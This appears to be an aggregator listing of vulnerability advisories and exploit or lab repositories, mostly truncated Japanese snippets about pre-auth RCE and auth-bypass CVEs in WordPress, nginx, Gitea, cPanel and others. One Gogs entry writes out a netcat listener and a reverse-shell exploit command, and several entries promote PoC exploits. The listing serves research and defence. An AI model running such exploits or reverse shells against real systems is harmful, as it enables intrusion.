amqp091-go: Pre-negotiation frame limit is not enforced to 4KB

Summary The frame-size mitigation released in amqp091-go v1.13.0 can be bypassed before connection.tune completes. A malicious or compromised AMQP peer can send only a seven-byte body-frame header containing a large attacker-controlled uint32 payload length. The client allocates a slice of that...

GHSA-W6R9-248C-FRG8 amqp091-go: Pre-negotiation frame limit is not enforced to 4KB

Summary The frame-size mitigation released in amqp091-go v1.13.0 can be bypassed before connection.tune completes. A malicious or compromised AMQP peer can send only a seven-byte body-frame header containing a large attacker-controlled uint32 payload length. The client allocates a slice of that...

cve-2026-86060

CVE-2026-86060 — MikroTik RouterOS SSH 認証前の権限昇格による完全な管理者制御 項目| 値 ---|--- CVE| CVE-2026-86060 製品| MikroTik RouterOS SSH サービス 影響を受けるバージョン| RouterOS 6.x および 7.0.0 – 7.23.3 含む 修正済みバージョン| RouterOS 7.23.4 以降 脆弱性の種類| 認証前の権限昇格 認証バイパス / アクセス制御の不備 攻撃ベクトル| リモート、未認証、SSH サービス経由 前提条件| なし —...

CVE-2026-60137-and-CVE-2026-63030

wp2shell Lab — CVE-2026-60137 & CVE-2026-63030 WordPress Core Pre-Auth RCE ラボ — 実際のエクスプロイト、RCE サーバー。 警告: ラボは脆弱な WordPress を実行します。インターネットに公開しないでください。 構成 . ├── docker-compose.yml Lab: WordPress 6.9.4 + MariaDB 11 + phpMyAdmin ├── exploit/ PoC exploit clone từ GitHub │ └── wp2shell.py Full RCE explo...

CVE-2026-20253

CVE-2026-20253 ラボ環境 PostgreSQL サイドカーサービスを経由した Splunk Enterprise の認証前 RCE | ---|--- CVE| CVE-2026-20253 CVSS| 9.8 Critical Type| 認証不要のリモートコード実行 CWE| CWE-306: 重要な機能に対する認証の欠如 Product| Splunk Enterprise 10.0.x / 10.2.x 免責事項 :...

CVE-2026-53519

Lab CVE-2026-53519 - Nezha Dashboard pre-auth path traversal Lab は pre-auth path traversal via/dashboard.. prefix confusion の脆弱性を再現します。 Nezha Dashboard において、jwtsecretkey の漏洩 - JWT 偽造 - admin 権限奪取に至ります。 Docker 環境で、version ごとに A/B を分離し vuln vs patched を比較します。 | Image| URL loopback| 期待される結果...

CVE-2026-42533

CVE-2026-42533 ラボ — NGINX 二段階キャプチャクラバリング RCE CVSS 9.2 Critical — nginx における認証前ヒープバッファオーバーフロー + 情報漏洩 影響: nginx 0.9.6 – 1.30.3 / 1.31.2 | 修正済み: 1.30.4 / 1.31.3 アーキテクチャ ┌─────────────────────────────────────┐ │ ホストマシン │ │ │ PoC スクリプト ────┤ :8080 ──► nginx-vuln 1.26.x │ │ │ 脆弱 │ │ ▼ │ │ backend Pytho...

CVE-2026-28496

CVE-2026-27604 + CVE-2026-28496 — FOSSBilling 認証前 RCE チェーン エグゼクティブサマリー このリポジトリには、FOSSBilling の認証前 RCE チェーンを再現および検証するためのローカル Docker ラボが含まれています。このチェーンは、2 つの連鎖する脆弱性で構成されています: CVE| 種類| CVSS v4| GHSA| 説明 ---|---|---|---|--- CVE-2026-27604| 認証バイパス| 10.0| GHSA-78x5-c8gw-8279| API ロールチェッカーに throw...

CVE-2024-20154

CVE-2024-20154: MediaTek MT6769ベースバンドにおけるNB-IoT SIB1-NBスタックオーバーフロー 分類: CWE-121 — スタックベースのバッファオーバーフロー 深刻度: Critical MediaTek セキュリティ速報 · 8.8 High、攻撃ベクター: 隣接 CISA-ADP 種類: リモートコード実行 — ユーザー操作不要、事前関連付け不要 開示: MediaTek セキュリティ速報、2025年1月6日 https://corp.mediatek.com/product-security-bulletin/January-2025...

CVE-2024-44625-Gogs-RCE-0.13.0

CVE-2024-44625 & Gogs-RCE-0.13.0 リバースプロキシ背後にある0.13.0世代のGogsに対して検証済み。 プリミティブ: Webエディタのシンボリックリンク追従により、存在しない.git/hooks/pre-receiveを作成し（実行可能）、以降のリポジトリへのプッシュごとにそのファイルが実行される。 使用方法: リバースシェル（先にリスナーを起動: nc -lvnp 4444） python3 gogsrceshell.py --url http://host --user admin1 --pass 'P@ss' \ --mode reverse...

CVE-2026-39987

CVE-2026-39987 — Marimo の事前認証RCE（Terminal WebSocket経由） / / | / / / | \ / \ \ / / | // / \ / / | | / / // // / / // // \ / ステータス: 0.23.0 でパッチ適用済み — marimo-team/marimo@c24d480 脆弱性 /terminal/ws エンドポイントには、他のすべての認証済みエンドポイントに存在する validateauth 呼び出しがありません： ❌ /terminal/ws — 認証チェックなし（脆弱）...

log4j2-rce

Log4j FilteredObjectInputStream バイパス Log4j の FilteredObjectInputStream を介して LogEvent をデシリアライズするあらゆる Java サービスに対する事前認証 RCE。認証情報は不要です。 2026年8月24日に GitHub issue 4255 として報告されました。 動作概要 Log4j は安全なデシリアライズラッパーとして FilteredObjectInputStream（FOIS）を同梱しています。これは resolveClass をオーバーライドし、許可リストにより...

CVE-2026-39987-Lab

CVE-2026-39987 — marimo 事前認証ターミナル WebSocket RCE ラボ marimo における CVE-2026-39987 を再現・理解するためのローカル専用 Docker ラボです。 このプロジェクトは、脆弱な marimo サービスとパッチ適用済みの marimo サービスを並べて比較し、最小限の害しか及ぼさない証明スクリプトを用いてその違いを示します。 エグゼクティブサマリー CVE-2026-39987 は、リアクティブ Python ノートブックフレームワークである marimo における、重大な事前認証リモートコード実行の脆弱性です。...

cve-2026-60004

CVE-2026-60004 — Gitea = 1.27.0 事前認証リモートコード実行 説明 CVE-2026-60004 は、Gitea における重大な脆弱性（CVSS 9.8）であり、/api/v1/repos/owner/repo/diffpatch エンドポイントを介して、認証なしでリモートコード実行を可能にします。 ツール 1. 検出器（detector.py） 悪用せずに Gitea サーバーが脆弱かどうかを検出します。 python3 detector.py --url http://target:3000 python3 detector.py --url...

cpanel-pwn

cpanel-pwn cPanel/WHM セキュリティテストツールキット。CVE-2026-41940 CRLFインジェクションによる認証バイパスと、権限昇格後の特権ピボットを実装しています。 ツール スクリプト| 目的 ---|--- cpanelexploit.py| CVE-2026-41940: CRLFインジェクション → WHM認証バイパス → rootアクセス CVE-2026-41940 タイプ: CRLFインジェクション → 認証バイパス → root RCE 影響を受けるバージョン: パッチ適用前のcPanel/WHM 攻撃手法: Basic...

CVE-2026-42167-PoC

CVE-2026-42167 POC ProFTPDのmodsql SQLインジェクションによる事前認証リモートコード実行 著者: Van Glenndon Enad 最初の発見者: ZeroPath 公開日: 2026年5月1日 深刻度: Critical CVSS v3.1 スコア: 8.1 CVSS v3.1 ベクター: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS v2 スコア: 7.6 CVSS v2 ベクター: CVSS2AV:N/AC:H/Au:N/C:C/I:C/A:C CWE: CWE-89 SQLインジェクション,...

CVE-2026-31431

CVE-2026-31431 复制失败的 PoC Python Python 使用 nosplice 变体...

CVE-2026-20127-Cisco-SD-WAN-Preauth-RCE

CVE-2026-20127-Cisco SD-WAN 预认证远程代码执行 概述 本仓库包含针对 CVE-2026-20127 的概念验证（PoC）漏洞利用 ，这是一个影响 Cisco Catalyst SD-WAN Controller（原 vSmart） 和 Cisco Catalyst SD-WAN Manager（原 vManage） 部署的严重预认证远程代码执行（RCE） 漏洞。 该漏洞允许远程、未认证的攻击者直接与 Cisco SD-WAN 基础设施的管理和控制平面组件进行交互，最终导致 SD-WAN 架构的完全管理权限沦陷 。 根据公开报告和厂商分析，该漏洞自 2023...

CVE-2026-33439-OpenAM

CVE-2026-33439 は、OpenAM（16.0.6）の JATO ViewBean エンドポイントに影響する、認証前の安全でない逆シリアライゼーションの問題です。公開アドバイザリでは JATO エンドポイントに言及していますが、到達可能なルートは列挙されていません。この調査では、/openam/ui/PWResetUserValidation が、認証前に到達可能な JATO エンドポイントであることを特定しています。...

cpanel-cve-2026-41940-fix

cpanel-cve-2026-41940-fix CVE-2026-41940 および nuclear.x86 ボットネットキャンペーンを介して侵害された cPanel/WHM サーバー向けのワンショット検出・修復ツール。 これは何か 2026年4月28日 、cPanel は 11.40 以降のすべてのサポート対象 cPanel & WHM バージョン に影響する 事前認証 の認証バイパス脆弱性（CVE-2026-41940、CVSS 9.8）を開示しました。ポート 2087 への単一の HTTP リクエストにより、認証されていない攻撃者が user=root セッションを注入し、WH...